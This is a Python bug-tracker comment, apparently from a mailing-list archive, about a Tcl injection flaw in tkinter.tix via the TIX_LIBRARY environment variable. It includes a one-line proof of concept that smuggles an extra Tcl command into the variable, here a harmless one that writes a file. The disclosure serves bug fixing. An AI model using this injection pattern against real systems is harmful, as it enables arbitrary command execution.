Serhiy Storchaka added the comment:
TclError in Terry's example is raised because Tcl script has unpaired braces.
You should add "{" at the end of TIX_LIBRARY.
Here is working exploit:
$ TIX_LIBRARY="/dev/null}; exec python3 -m this >spoiled; set x {" python3 -c
"from tkinter.tix import Tk; Tk()"
It creates the file "spoiled" in current directory containing The Zen of Python.
----------
_______________________________________
Python tracker <rep...@bugs.python.org>
<http://bugs.python.org/issue29125>
_______________________________________
_______________________________________________
Python-bugs-list mailing list
Unsubscribe:
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com
